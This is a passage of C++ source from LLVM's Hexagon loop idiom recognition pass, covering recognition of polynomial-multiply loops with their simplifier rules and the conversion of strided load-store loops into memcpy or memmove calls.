outside of the loop. They will be handled later. // Also, skip the right-shifts and phi nodes, since they mix early // and late values. if (T->getParent() != LoopB || RShifts.count(T) || isa<PHINode>(T)) continue; Users.insert(T); if (!classifyInst(T, Early, Late)) return false; } } if (Users.empty()) return false; // Verify that high bits remain zero. ValueSeq Internal(Users.begin(), Users.end()); ValueSeq Inputs; for (unsigned i = 0; i < Internal.size(); ++i) { auto *R = dyn_cast<Instruction>(Internal[i]); if (!R) continue; for (Value *Op : R->operands()) { auto *T = dyn_cast<Instruction>(Op); if (T && T->getParent() != LoopB) Inputs.insert(Op); else Internal.insert(Op); } } for (Value *V : Inputs) if (!highBitsAreZero(V, IterCount)) return false; for (Value *V : Internal) if (!keepsHighBitsZero(V, IterCount)) return false; // Finally, the work can be done. Unshift each user. IRBuilder<> IRB(LoopB); std::map<Value*,Value*> ShiftMap; using CastMapType = std::map<std::pair<Value *, Type *>, Value *>; CastMapType CastMap; auto upcast = [] (CastMapType &CM, IRBuilder<> &IRB, Value *V, IntegerType *Ty) -> Value* { auto H = CM.find(std::make_pair(V, Ty)); if (H != CM.end()) return H->second; Value *CV = IRB.CreateIntCast(V, Ty, false); CM.insert(std::make_pair(std::make_pair(V, Ty), CV)); return CV; }; for (auto I = LoopB->begin(), E = LoopB->end(); I != E; ++I) { using namespace PatternMatch; if (isa<PHINode>(I) || !Users.count(&*I)) continue; // Match lshr x, 1. Value *V = nullptr; if (match(&*I, m_LShr(m_Value(V), m_One()))) { replaceAllUsesOfWithIn(&*I, V, LoopB); continue; } // For each non-cycled operand, replace it with the corresponding // value shifted left. for (auto &J : I->operands()) { Value *Op = J.get(); if (!isOperandShifted(&*I, Op)) continue; if (Users.count(Op)) continue; // Skip shifting zeros. if (isa<ConstantInt>(Op) && cast<ConstantInt>(Op)->isZero()) continue; // Check if we have already generated a shift for this value. auto F = ShiftMap.find(Op); Value *W = (F != ShiftMap.end()) ? F->second : nullptr; if (W == nullptr) { IRB.SetInsertPoint(&*I); // First, the shift amount will be CIV or CIV+1, depending on // whether the value is early or late. Instead of creating CIV+1, // do a single shift of the value. Value *ShAmt = CIV, *ShVal = Op; auto *VTy = cast<IntegerType>(ShVal->getType()); auto *ATy = cast<IntegerType>(ShAmt->getType()); if (Late.count(&*I)) ShVal = IRB.CreateShl(Op, ConstantInt::get(VTy, 1)); // Second, the types of the shifted value and the shift amount // must match. if (VTy != ATy) { if (VTy->getBitWidth() < ATy->getBitWidth()) ShVal = upcast(CastMap, IRB, ShVal, ATy); else ShAmt = upcast(CastMap, IRB, ShAmt, VTy); } // Ready to generate the shift and memoize it. W = IRB.CreateShl(ShVal, ShAmt); ShiftMap.insert(std::make_pair(Op, W)); } I->replaceUsesOfWith(Op, W); } } // Update the users outside of the loop to account for having left // shifts. They would normally be shifted right in the loop, so shift // them right after the loop exit. // Take advantage of the loop-closed SSA form, which has all the post- // loop values in phi nodes. IRB.SetInsertPoint(ExitB, ExitB->getFirstInsertionPt()); for (auto P = ExitB->begin(), Q = ExitB->end(); P != Q; ++P) { if (!isa<PHINode>(P)) break; auto *PN = cast<PHINode>(P); Value *U = PN->getIncomingValueForBlock(LoopB); if (!Users.count(U)) continue; Value *S = IRB.CreateLShr(PN, ConstantInt::get(PN->getType(), IterCount)); PN->replaceAllUsesWith(S); // The above RAUW will create // S = lshr S, IterCount // so we need to fix it back into // S = lshr PN, IterCount cast<User>(S)->replaceUsesOfWith(S, PN); } return true; } void PolynomialMultiplyRecognize::cleanupLoopBody(BasicBlock *LoopB) { for (auto &I : *LoopB) if (Value *SV = SimplifyInstruction(&I, {DL, &TLI, &DT})) I.replaceAllUsesWith(SV); for (auto I = LoopB->begin(), N = I; I != LoopB->end(); I = N) { N = std::next(I); RecursivelyDeleteTriviallyDeadInstructions(&*I, &TLI); } } unsigned PolynomialMultiplyRecognize::getInverseMxN(unsigned QP) { // Arrays of coefficients of Q and the inverse, C. // Q[i] = coefficient at x^i. std::array<char,32> Q, C; for (unsigned i = 0; i < 32; ++i) { Q[i] = QP & 1; QP >>= 1; } assert(Q[0] == 1); // Find C, such that // (Q[n]*x^n + ... + Q[1]*x + Q[0]) * (C[n]*x^n + ... + C[1]*x + C[0]) = 1 // // For it to have a solution, Q[0] must be 1. Since this is Z2[x], the // operations * and + are & and ^ respectively. // // Find C[i] recursively, by comparing i-th coefficient in the product // with 0 (or 1 for i=0). // // C[0] = 1, since C[0] = Q[0], and Q[0] = 1. C[0] = 1; for (unsigned i = 1; i < 32; ++i) { // Solve for C[i] in: // C[0]Q[i] ^ C[1]Q[i-1] ^ ... ^ C[i-1]Q[1] ^ C[i]Q[0] = 0 // This is equivalent to // C[0]Q[i] ^ C[1]Q[i-1] ^ ... ^ C[i-1]Q[1] ^ C[i] = 0 // which is // C[0]Q[i] ^ C[1]Q[i-1] ^ ... ^ C[i-1]Q[1] = C[i] unsigned T = 0; for (unsigned j = 0; j < i; ++j) T = T ^ (C[j] & Q[i-j]); C[i] = T; } unsigned QV = 0; for (unsigned i = 0; i < 32; ++i) if (C[i]) QV |= (1 << i); return QV; } Value *PolynomialMultiplyRecognize::generate(BasicBlock::iterator At, ParsedValues &PV) { IRBuilder<> B(&*At); Module *M = At->getParent()->getParent()->getParent(); Function *PMF = Intrinsic::getDeclaration(M, Intrinsic::hexagon_M4_pmpyw); Value *P = PV.P, *Q = PV.Q, *P0 = P; unsigned IC = PV.IterCount; if (PV.M != nullptr) P0 = P = B.CreateXor(P, PV.M); // Create a bit mask to clear the high bits beyond IterCount. auto *BMI = ConstantInt::get(P->getType(), APInt::getLowBitsSet(32, IC)); if (PV.IterCount != 32) P = B.CreateAnd(P, BMI); if (PV.Inv) { auto *QI = dyn_cast<ConstantInt>(PV.Q); assert(QI && QI->getBitWidth() <= 32); // Again, clearing bits beyond IterCount. unsigned M = (1 << PV.IterCount) - 1; unsigned Tmp = (QI->getZExtValue() | 1) & M; unsigned QV = getInverseMxN(Tmp) & M; auto *QVI = ConstantInt::get(QI->getType(), QV); P = B.CreateCall(PMF, {P, QVI}); P = B.CreateTrunc(P, QI->getType()); if (IC != 32) P = B.CreateAnd(P, BMI); } Value *R = B.CreateCall(PMF, {P, Q}); if (PV.M != nullptr) R = B.CreateXor(R, B.CreateIntCast(P0, R->getType(), false)); return R; } static bool hasZeroSignBit(const Value *V) { if (const auto *CI = dyn_cast<const ConstantInt>(V)) return (CI->getType()->getSignBit() & CI->getSExtValue()) == 0; const Instruction *I = dyn_cast<const Instruction>(V); if (!I) return false; switch (I->getOpcode()) { case Instruction::LShr: if (const auto SI = dyn_cast<const ConstantInt>(I->getOperand(1))) return SI->getZExtValue() > 0; return false; case Instruction::Or: case Instruction::Xor: return hasZeroSignBit(I->getOperand(0)) && hasZeroSignBit(I->getOperand(1)); case Instruction::And: return hasZeroSignBit(I->getOperand(0)) || hasZeroSignBit(I->getOperand(1)); } return false; } void PolynomialMultiplyRecognize::setupPreSimplifier(Simplifier &S) { S.addRule("sink-zext", // Sink zext past bitwise operations. [](Instruction *I, LLVMContext &Ctx) -> Value* { if (I->getOpcode() != Instruction::ZExt) return nullptr; Instruction *T = dyn_cast<Instruction>(I->getOperand(0)); if (!T) return nullptr; switch (T->getOpcode()) { case Instruction::And: case Instruction::Or: case Instruction::Xor: break; default: return nullptr; } IRBuilder<> B(Ctx); return B.CreateBinOp(cast<BinaryOperator>(T)->getOpcode(), B.CreateZExt(T->getOperand(0), I->getType()), B.CreateZExt(T->getOperand(1), I->getType())); }); S.addRule("xor/and -> and/xor", // (xor (and x a) (and y a)) -> (and (xor x y) a) [](Instruction *I, LLVMContext &Ctx) -> Value* { if (I->getOpcode() != Instruction::Xor) return nullptr; Instruction *And0 = dyn_cast<Instruction>(I->getOperand(0)); Instruction *And1 = dyn_cast<Instruction>(I->getOperand(1)); if (!And0 || !And1) return nullptr; if (And0->getOpcode() != Instruction::And || And1->getOpcode() != Instruction::And) return nullptr; if (And0->getOperand(1) != And1->getOperand(1)) return nullptr; IRBuilder<> B(Ctx); return B.CreateAnd(B.CreateXor(And0->getOperand(0), And1->getOperand(0)), And0->getOperand(1)); }); S.addRule("sink binop into select", // (Op (select c x y) z) -> (select c (Op x z) (Op y z)) // (Op x (select c y z)) -> (select c (Op x y) (Op x z)) [](Instruction *I, LLVMContext &Ctx) -> Value* { BinaryOperator *BO = dyn_cast<BinaryOperator>(I); if (!BO) return nullptr; Instruction::BinaryOps Op = BO->getOpcode(); if (SelectInst *Sel = dyn_cast<SelectInst>(BO->getOperand(0))) { IRBuilder<> B(Ctx); Value *X = Sel->getTrueValue(), *Y = Sel->getFalseValue(); Value *Z = BO->getOperand(1); return B.CreateSelect(Sel->getCondition(), B.CreateBinOp(Op, X, Z), B.CreateBinOp(Op, Y, Z)); } if (SelectInst *Sel = dyn_cast<SelectInst>(BO->getOperand(1))) { IRBuilder<> B(Ctx); Value *X = BO->getOperand(0); Value *Y = Sel->getTrueValue(), *Z = Sel->getFalseValue(); return B.CreateSelect(Sel->getCondition(), B.CreateBinOp(Op, X, Y), B.CreateBinOp(Op, X, Z)); } return nullptr; }); S.addRule("fold select-select", // (select c (select c x y) z) -> (select c x z) // (select c x (select c y z)) -> (select c x z) [](Instruction *I, LLVMContext &Ctx) -> Value* { SelectInst *Sel = dyn_cast<SelectInst>(I); if (!Sel) return nullptr; IRBuilder<> B(Ctx); Value *C = Sel->getCondition(); if (SelectInst *Sel0 = dyn_cast<SelectInst>(Sel->getTrueValue())) { if (Sel0->getCondition() == C) return B.CreateSelect(C, Sel0->getTrueValue(), Sel->getFalseValue()); } if (SelectInst *Sel1 = dyn_cast<SelectInst>(Sel->getFalseValue())) { if (Sel1->getCondition() == C) return B.CreateSelect(C, Sel->getTrueValue(), Sel1->getFalseValue()); } return nullptr; }); S.addRule("or-signbit -> xor-signbit", // (or (lshr x 1) 0x800.0) -> (xor (lshr x 1) 0x800.0) [](Instruction *I, LLVMContext &Ctx) -> Value* { if (I->getOpcode() != Instruction::Or) return nullptr; ConstantInt *Msb = dyn_cast<ConstantInt>(I->getOperand(1)); if (!Msb || Msb->getZExtValue() != Msb->getType()->getSignBit()) return nullptr; if (!hasZeroSignBit(I->getOperand(0))) return nullptr; return IRBuilder<>(Ctx).CreateXor(I->getOperand(0), Msb); }); S.addRule("sink lshr into binop", // (lshr (BitOp x y) c) -> (BitOp (lshr x c) (lshr y c)) [](Instruction *I, LLVMContext &Ctx) -> Value* { if (I->getOpcode() != Instruction::LShr) return nullptr; BinaryOperator *BitOp = dyn_cast<BinaryOperator>(I->getOperand(0)); if (!BitOp) return nullptr; switch (BitOp->getOpcode()) { case Instruction::And: case Instruction::Or: case Instruction::Xor: break; default: return nullptr; } IRBuilder<> B(Ctx); Value *S = I->getOperand(1); return B.CreateBinOp(BitOp->getOpcode(), B.CreateLShr(BitOp->getOperand(0), S), B.CreateLShr(BitOp->getOperand(1), S)); }); S.addRule("expose bitop-const", // (BitOp1 (BitOp2 x a) b) -> (BitOp2 x (BitOp1 a b)) [](Instruction *I, LLVMContext &Ctx) -> Value* { auto IsBitOp = [](unsigned Op) -> bool { switch (Op) { case Instruction::And: case Instruction::Or: case Instruction::Xor: return true; } return false; }; BinaryOperator *BitOp1 = dyn_cast<BinaryOperator>(I); if (!BitOp1 || !IsBitOp(BitOp1->getOpcode())) return nullptr; BinaryOperator *BitOp2 = dyn_cast<BinaryOperator>(BitOp1->getOperand(0)); if (!BitOp2 || !IsBitOp(BitOp2->getOpcode())) return nullptr; ConstantInt *CA = dyn_cast<ConstantInt>(BitOp2->getOperand(1)); ConstantInt *CB = dyn_cast<ConstantInt>(BitOp1->getOperand(1)); if (!CA || !CB) return nullptr; IRBuilder<> B(Ctx); Value *X = BitOp2->getOperand(0); return B.CreateBinOp(BitOp2->getOpcode(), X, B.CreateBinOp(BitOp1->getOpcode(), CA, CB)); }); } void PolynomialMultiplyRecognize::setupPostSimplifier(Simplifier &S) { S.addRule("(and (xor (and x a) y) b) -> (and (xor x y) b), if b == b&a", [](Instruction *I, LLVMContext &Ctx) -> Value* { if (I->getOpcode() != Instruction::And) return nullptr; Instruction *Xor = dyn_cast<Instruction>(I->getOperand(0)); ConstantInt *C0 = dyn_cast<ConstantInt>(I->getOperand(1)); if (!Xor || !C0) return nullptr; if (Xor->getOpcode() != Instruction::Xor) return nullptr; Instruction *And0 = dyn_cast<Instruction>(Xor->getOperand(0)); Instruction *And1 = dyn_cast<Instruction>(Xor->getOperand(1)); // Pick the first non-null and. if (!And0 || And0->getOpcode() != Instruction::And) std::swap(And0, And1); ConstantInt *C1 = dyn_cast<ConstantInt>(And0->getOperand(1)); if (!C1) return nullptr; uint32_t V0 = C0->getZExtValue(); uint32_t V1 = C1->getZExtValue(); if (V0 != (V0 & V1)) return nullptr; IRBuilder<> B(Ctx); return B.CreateAnd(B.CreateXor(And0->getOperand(0), And1), C0); }); } bool PolynomialMultiplyRecognize::recognize() { LLVM_DEBUG(dbgs() << "Starting PolynomialMultiplyRecognize on loop\n" << *CurLoop << '\n'); // Restrictions: // - The loop must consist of a single block. // - The iteration count must be known at compile-time. // - The loop must have an induction variable starting from 0, and // incremented in each iteration of the loop. BasicBlock *LoopB = CurLoop->getHeader(); LLVM_DEBUG(dbgs() << "Loop header:\n" << *LoopB); if (LoopB != CurLoop->getLoopLatch()) return false; BasicBlock *ExitB = CurLoop->getExitBlock(); if (ExitB == nullptr) return false; BasicBlock *EntryB = CurLoop->getLoopPreheader(); if (EntryB == nullptr) return false; unsigned IterCount = 0; const SCEV *CT = SE.getBackedgeTakenCount(CurLoop); if (isa<SCEVCouldNotCompute>(CT)) return false; if (auto *CV = dyn_cast<SCEVConstant>(CT)) IterCount = CV->getValue()->getZExtValue() + 1; Value *CIV = getCountIV(LoopB); ParsedValues PV; Simplifier PreSimp; PV.IterCount = IterCount; LLVM_DEBUG(dbgs() << "Loop IV: " << *CIV << "\nIterCount: " << IterCount << '\n'); setupPreSimplifier(PreSimp); // Perform a preliminary scan of select instructions to see if any of them // looks like a generator of the polynomial multiply steps. Assume that a // loop can only contain a single transformable operation, so stop the // traversal after the first reasonable candidate was found. // XXX: Currently this approach can modify the loop before being 100% sure // that the transformation can be carried out. bool FoundPreScan = false; auto FeedsPHI = [LoopB](const Value *V) -> bool { for (const Value *U : V->users()) { if (const auto *P = dyn_cast<const PHINode>(U)) if (P->getParent() == LoopB) return true; } return false; }; for (Instruction &In : *LoopB) { SelectInst *SI = dyn_cast<SelectInst>(&In); if (!SI || !FeedsPHI(SI)) continue; Simplifier::Context C(SI); Value *T = PreSimp.simplify(C); SelectInst *SelI = (T && isa<SelectInst>(T)) ? cast<SelectInst>(T) : SI; LLVM_DEBUG(dbgs() << "scanSelect(pre-scan): " << PE(C, SelI) << '\n'); if (scanSelect(SelI, LoopB, EntryB, CIV, PV, true)) { FoundPreScan = true; if (SelI != SI) { Value *NewSel = C.materialize(LoopB, SI->getIterator()); SI->replaceAllUsesWith(NewSel); RecursivelyDeleteTriviallyDeadInstructions(SI, &TLI); } break; } } if (!FoundPreScan) { LLVM_DEBUG(dbgs() << "Have not found candidates for pmpy\n"); return false; } if (!PV.Left) { // The right shift version actually only returns the higher bits of // the result (each iteration discards the LSB). If we want to convert it // to a left-shifting loop, the working data type must be at least as // wide as the target's pmpy instruction. if (!promoteTypes(LoopB, ExitB)) return false; // Run post-promotion simplifications. Simplifier PostSimp; setupPostSimplifier(PostSimp); for (Instruction &In : *LoopB) { SelectInst *SI = dyn_cast<SelectInst>(&In); if (!SI || !FeedsPHI(SI)) continue; Simplifier::Context C(SI); Value *T = PostSimp.simplify(C); SelectInst *SelI = dyn_cast_or_null<SelectInst>(T); if (SelI != SI) { Value *NewSel = C.materialize(LoopB, SI->getIterator()); SI->replaceAllUsesWith(NewSel); RecursivelyDeleteTriviallyDeadInstructions(SI, &TLI); } break; } if (!convertShiftsToLeft(LoopB, ExitB, IterCount)) return false; cleanupLoopBody(LoopB); } // Scan the loop again, find the generating select instruction. bool FoundScan = false; for (Instruction &In : *LoopB) { SelectInst *SelI = dyn_cast<SelectInst>(&In); if (!SelI) continue; LLVM_DEBUG(dbgs() << "scanSelect: " << *SelI << '\n'); FoundScan = scanSelect(SelI, LoopB, EntryB, CIV, PV, false); if (FoundScan) break; } assert(FoundScan); LLVM_DEBUG({ StringRef PP = (PV.M ? "(P+M)" : "P"); if (!PV.Inv) dbgs() << "Found pmpy idiom: R = " << PP << ".Q\n"; else dbgs() << "Found inverse pmpy idiom: R = (" << PP << "/Q).Q) + " << PP << "\n"; dbgs() << " Res:" << *PV.Res << "\n P:" << *PV.P << "\n"; if (PV.M) dbgs() << " M:" << *PV.M << "\n"; dbgs() << " Q:" << *PV.Q << "\n"; dbgs() << " Iteration count:" << PV.IterCount << "\n"; }); BasicBlock::iterator At(EntryB->getTerminator()); Value *PM = generate(At, PV); if (PM == nullptr) return false; if (PM->getType() != PV.Res->getType()) PM = IRBuilder<>(&*At).CreateIntCast(PM, PV.Res->getType(), false); PV.Res->replaceAllUsesWith(PM); PV.Res->eraseFromParent(); return true; } int HexagonLoopIdiomRecognize::getSCEVStride(const SCEVAddRecExpr *S) { if (const SCEVConstant *SC = dyn_cast<SCEVConstant>(S->getOperand(1))) return SC->getAPInt().getSExtValue(); return 0; } bool HexagonLoopIdiomRecognize::isLegalStore(Loop *CurLoop, StoreInst *SI) { // Allow volatile stores if HexagonVolatileMemcpy is enabled. if (!(SI->isVolatile() && HexagonVolatileMemcpy) && !SI->isSimple()) return false; Value *StoredVal = SI->getValueOperand(); Value *StorePtr = SI->getPointerOperand(); // Reject stores that are so large that they overflow an unsigned. uint64_t SizeInBits = DL->getTypeSizeInBits(StoredVal->getType()); if ((SizeInBits & 7) || (SizeInBits >> 32) != 0) return false; // See if the pointer expression is an AddRec like {base,+,1} on the current // loop, which indicates a strided store. If we have something else, it's a // random store we can't handle. auto *StoreEv = dyn_cast<SCEVAddRecExpr>(SE->getSCEV(StorePtr)); if (!StoreEv || StoreEv->getLoop() != CurLoop || !StoreEv->isAffine()) return false; // Check to see if the stride matches the size of the store. If so, then we // know that every byte is touched in the loop. int Stride = getSCEVStride(StoreEv); if (Stride == 0) return false; unsigned StoreSize = DL->getTypeStoreSize(SI->getValueOperand()->getType()); if (StoreSize != unsigned(std::abs(Stride))) return false; // The store must be feeding a non-volatile load. LoadInst *LI = dyn_cast<LoadInst>(SI->getValueOperand()); if (!LI || !LI->isSimple()) return false; // See if the pointer expression is an AddRec like {base,+,1} on the current // loop, which indicates a strided load. If we have something else, it's a // random load we can't handle. Value *LoadPtr = LI->getPointerOperand(); auto *LoadEv = dyn_cast<SCEVAddRecExpr>(SE->getSCEV(LoadPtr)); if (!LoadEv || LoadEv->getLoop() != CurLoop || !LoadEv->isAffine()) return false; // The store and load must share the same stride. if (StoreEv->getOperand(1) != LoadEv->getOperand(1)) return false; // Success. This store can be converted into a memcpy. return true; } /// mayLoopAccessLocation - Return true if the specified loop might access the /// specified pointer location, which is a loop-strided access. The 'Access' /// argument specifies what the verboten forms of access are (read or write). static bool mayLoopAccessLocation(Value *Ptr, ModRefInfo Access, Loop *L, const SCEV *BECount, unsigned StoreSize, AliasAnalysis &AA, SmallPtrSetImpl<Instruction *> &Ignored) { // Get the location that may be stored across the loop. Since the access // is strided positively through memory, we say that the modified location // starts at the pointer and has infinite size. LocationSize AccessSize = LocationSize::unknown(); // If the loop iterates a fixed number of times, we can refine the access // size to be exactly the size of the memset, which is (BECount+1)*StoreSize if (const SCEVConstant *BECst = dyn_cast<SCEVConstant>(BECount)) AccessSize = LocationSize::precise((BECst->getValue()->getZExtValue() + 1) * StoreSize); // TODO: For this to be really effective, we have to dive into the pointer // operand in the store. Store to &A[i] of 100 will always return may alias // with store of &A[100], we need to StoreLoc to be "A" with size of 100, // which will then no-alias a store to &A[100]. MemoryLocation StoreLoc(Ptr, AccessSize); for (auto *B : L->blocks()) for (auto &I : *B) if (Ignored.count(&I) == 0 && isModOrRefSet( intersectModRef(AA.getModRefInfo(&I, StoreLoc), Access))) return true; return false; } void HexagonLoopIdiomRecognize::collectStores(Loop *CurLoop, BasicBlock *BB, SmallVectorImpl<StoreInst*> &Stores) { Stores.clear(); for (Instruction &I : *BB) if (StoreInst *SI = dyn_cast<StoreInst>(&I)) if (isLegalStore(CurLoop, SI)) Stores.push_back(SI); } bool HexagonLoopIdiomRecognize::processCopyingStore(Loop *CurLoop, StoreInst *SI, const SCEV *BECount) { assert((SI->isSimple() || (SI->isVolatile() && HexagonVolatileMemcpy)) && "Expected only non-volatile stores, or Hexagon-specific memcpy" "to volatile destination."); Value *StorePtr = SI->getPointerOperand(); auto *StoreEv = cast<SCEVAddRecExpr>(SE->getSCEV(StorePtr)); unsigned Stride = getSCEVStride(StoreEv); unsigned StoreSize = DL->getTypeStoreSize(SI->getValueOperand()->getType()); if (Stride != StoreSize) return false; // See if the pointer expression is an AddRec like {base,+,1} on the current // loop, which indicates a strided load. If we have something else, it's a // random load we can't handle. auto *LI = cast<LoadInst>(SI->getValueOperand()); auto *LoadEv = cast<SCEVAddRecExpr>(SE->getSCEV(LI->getPointerOperand())); // The trip count of the loop and the base pointer of the addrec SCEV is // guaranteed to be loop invariant, which means that it should dominate the // header. This allows us to insert code for it in the preheader. BasicBlock *Preheader = CurLoop->getLoopPreheader(); Instruction *ExpPt = Preheader->getTerminator(); IRBuilder<> Builder(ExpPt); SCEVExpander Expander(*SE, *DL, "hexagon-loop-idiom"); Type *IntPtrTy = Builder.getIntPtrTy(*DL, SI->getPointerAddressSpace()); // Okay, we have a strided store "p[i]" of a loaded value. We can turn // this into a memcpy/memmove in the loop preheader now if we want. However, // this would be unsafe to do if there is anything else in the loop that may // read or write the memory region we're storing to. For memcpy, this // includes the load that feeds the stores. Check for an alias by generating // the base address and checking everything. Value *StoreBasePtr = Expander.expandCodeFor(StoreEv->getStart(), Builder.getInt8PtrTy(SI->getPointerAddressSpace()), ExpPt); Value *LoadBasePtr = nullptr; bool Overlap = false; bool DestVolatile = SI->isVolatile(); Type *BECountTy = BECount->getType(); if (DestVolatile) { // The trip count must fit in i32, since it is the type of the "num_words" // argument to hexagon_memcpy_forward_vp4cp4n2. if (StoreSize != 4 || DL->getTypeSizeInBits(BECountTy) > 32) { CleanupAndExit: // If we generated new code for the base pointer, clean up. Expander.clear(); if (StoreBasePtr && (LoadBasePtr != StoreBasePtr)) { RecursivelyDeleteTriviallyDeadInstructions(StoreBasePtr, TLI); StoreBasePtr = nullptr; } if (LoadBasePtr) { RecursivelyDeleteTriviallyDeadInstructions(LoadBasePtr, TLI); LoadBasePtr = nullptr; } return false; } } SmallPtrSet<Instruction*, 2> Ignore1; Ignore1.insert(SI); if (mayLoopAccessLocation(StoreBasePtr, ModRefInfo::ModRef, CurLoop, BECount, StoreSize, *AA, Ignore1)) { // Check if the load is the offending instruction. Ignore1.insert(LI); if (mayLoopAccessLocation(StoreBasePtr, ModRefInfo::ModRef, CurLoop, BECount, StoreSize, *AA, Ignore1)) { // Still bad. Nothing we can do. goto CleanupAndExit; } // It worked with the load ignored. Overlap = true; } if (!Overlap) { if (DisableMemcpyIdiom || !HasMemcpy) goto CleanupAndExit; } else { // Don't generate memmove if this function will be inlined. This is // because the caller will undergo this transformation after inlining. Function *Func = CurLoop->getHeader()->getParent(); if (Func->hasFnAttribute(Attribute::AlwaysInline)) goto CleanupAndExit; // In case of a memmove, the call to memmove will be executed instead // of the loop, so we need to make sure that there is nothing else in // the loop than the load, store and instructions that these two depend // on. SmallVector<Instruction*,2> Insts; Insts.push_back(SI); Insts.push_back(LI); if (!coverLoop(CurLoop, Insts)) goto CleanupAndExit; if (DisableMemmoveIdiom || !HasMemmove) goto CleanupAndExit; bool IsNested = CurLoop->getParentLoop() != nullptr; if (IsNested && OnlyNonNestedMemmove) goto CleanupAndExit; } // For a memcpy, we have to make sure that the input array is not being // mutated by the loop. LoadBasePtr = Expander.expandCodeFor(LoadEv->getStart(), Builder.getInt8PtrTy(LI->getPointerAddressSpace()), ExpPt); SmallPtrSet<Instruction*, 2> Ignore2; Ignore2.insert(SI); if (mayLoopAccessLocation(LoadBasePtr, ModRefInfo::Mod, CurLoop, BECount, StoreSize, *AA, Ignore2)) goto CleanupAndExit; // Check the stride. bool StridePos = getSCEVStride(LoadEv) >= 0; // Currently, the volatile memcpy only emulates traversing memory forward. if (!StridePos && DestVolatile) goto CleanupAndExit; bool RuntimeCheck = (Overlap || DestVolatile); BasicBlock *ExitB; if (RuntimeCheck) { // The runtime check needs a single exit block. SmallVector<BasicBlock*, 8> ExitBlocks; CurLoop->getUniqueExitBlocks(ExitBlocks); if (ExitBlocks.size() != 1) goto CleanupAndExit; ExitB = ExitBlocks[0]; } // The # stored bytes is (BECount+1)*Size. Expand the trip count out to // pointer size if it isn't already. LLVMContext &Ctx = SI->getContext(); BECount = SE->getTruncateOrZeroExtend(BECount, IntPtrTy); DebugLoc DLoc = SI->getDebugLoc(); const SCEV *NumBytesS = SE->getAddExpr(BECount, SE->getOne(IntPtrTy), SCEV::FlagNUW); if (StoreSize != 1) NumBytesS = SE->getMulExpr(NumBytesS, SE->getConstant(IntPtrTy, StoreSize), SCEV::FlagNUW); Value *NumBytes = Expander.expandCodeFor(NumBytesS, IntPtrTy, ExpPt); if (Instruction *In = dyn_cast<Instruction>(NumBytes)) if (Value *Simp = SimplifyInstruction(In, {*DL, TLI, DT})) NumBytes = Simp; CallInst *NewCall; if (RuntimeCheck) { unsigned Threshold = RuntimeMemSizeThreshold; if (ConstantInt *CI = dyn_cast<ConstantInt>(NumBytes)) { uint64_t C = CI->getZExtValue(); if (Threshold != 0 && C < Threshold) goto CleanupAndExit; if (C < CompileTimeMemSizeThreshold) goto CleanupAndExit; } BasicBlock *Header = CurLoop->getHeader(); Function *Func = Header->getParent(); Loop *ParentL = LF->getLoopFor(Preheader); StringRef HeaderName = Header->getName(); // Create a new (empty) preheader, and update the PHI nodes in the // header to use the new preheader. BasicBlock *NewPreheader = BasicBlock::Create(Ctx, HeaderName+".rtli.ph", Func, Header); if (ParentL) ParentL->addBasicBlockToLoop(NewPreheader, *LF); IRBuilder<>(NewPreheader).CreateBr(Header); for (auto &In : *Header) { PHINode *PN = dyn_cast<PHINode>(&In); if (!PN) break; int bx = PN->getBasicBlockIndex(Preheader); if (bx >= 0) PN->setIncomingBlock(bx, NewPreheader); } DT->addNewBlock(NewPreheader, Preheader); DT->changeImmediateDominator(Header, NewPreheader); // Check for safe conditions to execute memmove. // If stride is positive, copying things from higher to lower addresses // is equivalent to memmove. For negative stride, it's the other way // around. Copying forward in memory with positive stride may not be // same as memmove since we may be copying values that we just stored // in some previous iteration. Value *LA = Builder.CreatePtrToInt(LoadBasePtr, IntPtrTy); Value *SA = Builder.CreatePtrToInt(StoreBasePtr, IntPtrTy); Value *LowA = StridePos ? SA : LA; Value *HighA = StridePos ? LA : SA; Value *CmpA = Builder.CreateICmpULT(LowA, HighA); Value *Cond = CmpA; // Check for distance between pointers. Since the case LowA < HighA // is checked for above, assume LowA >= HighA. Value *Dist = Builder.CreateSub(LowA, HighA); Value *CmpD = Builder.CreateICmpSLE(NumBytes, Dist); Value *CmpEither = Builder.CreateOr(Cond, CmpD); Cond = CmpEither; if (Threshold != 0) { Type *Ty = NumBytes->getType(); Value *Thr = ConstantInt::get(Ty, Threshold); Value *CmpB = Builder.CreateICmpULT(Thr, NumBytes); Value *CmpBoth = Builder.CreateAnd(Cond, CmpB); Cond = CmpBoth; } BasicBlock *MemmoveB = BasicBlock::Create(Ctx, Header->getName()+".rtli", Func, NewPreheader); if (ParentL) ParentL->addBasicBlockToLoop(MemmoveB, *LF); Instruction *OldT = Preheader->getTerminator(); Builder.CreateCondBr(Cond, MemmoveB, NewPreheader); OldT->eraseFromParent(); Preheader->setName(Preheader->getName()+".old"); DT->addNewBlock(MemmoveB, Preheader); // Find the new immediate dominator of the exit block. BasicBlock *ExitD = Preheader; for (auto PI = pred_begin(ExitB), PE = pred_end(ExitB); PI != PE; ++PI) { BasicBlock *PB = *PI; ExitD = DT->findNearestCommonDominator(ExitD, PB); if (!ExitD) break; } // If the prior immediate dominator of ExitB was dominated by the // old preheader, then the old preheader becomes the new immediate // dominator. Otherwise don't change anything (because the newly // added blocks are dominated by the old preheader). if (ExitD && DT->dominates(Preheader, ExitD)) { DomTreeNode *BN = DT->getNode(ExitB); DomTreeNode *DN = DT->getNode(ExitD); BN->setIDom(DN); } // Add a call to memmove to the conditional block. IRBuilder<> CondBuilder(MemmoveB); CondBuilder.CreateBr(ExitB); CondBuilder.SetInsertPoint(MemmoveB->getTerminator()); if (DestVolatile) { Type *Int32Ty = Type::getInt32Ty(Ctx); Type *Int32PtrTy = Type::getInt32PtrTy(Ctx); Type *VoidTy = Type::getVoidTy(Ctx); Module *M = Func->getParent(); FunctionCallee Fn = M->getOrInsertFunction( HexagonVolatileMemcpyName, VoidTy, Int32PtrTy, Int32PtrTy, Int32Ty); const SCEV *OneS = SE->getConstant(Int32Ty, 1); const SCEV *BECount32 = SE->getTruncateOrZeroExtend(BECount, Int32Ty); const SCEV *NumWordsS = SE->getAddExpr(BECount32, OneS, SCEV::FlagNUW); Value *NumWords = Expander.expandCodeFor(NumWordsS, Int32Ty, MemmoveB->getTerminator()); if (Instruction *In = dyn_cast<Instruction>(NumWords)) if (Value *Simp = SimplifyInstruction(In, {*DL, TLI, DT})) NumWords = Simp; Value *Op0 = (StoreBasePtr->getType() == Int32PtrTy) ? StoreBasePtr : CondBuilder.CreateBitCast(StoreBasePtr, Int32PtrTy); Value *Op1 = (LoadBasePtr->getType() == Int32PtrTy) ? LoadBasePtr : CondBuilder.CreateBitCast(LoadBasePtr, Int32PtrTy); 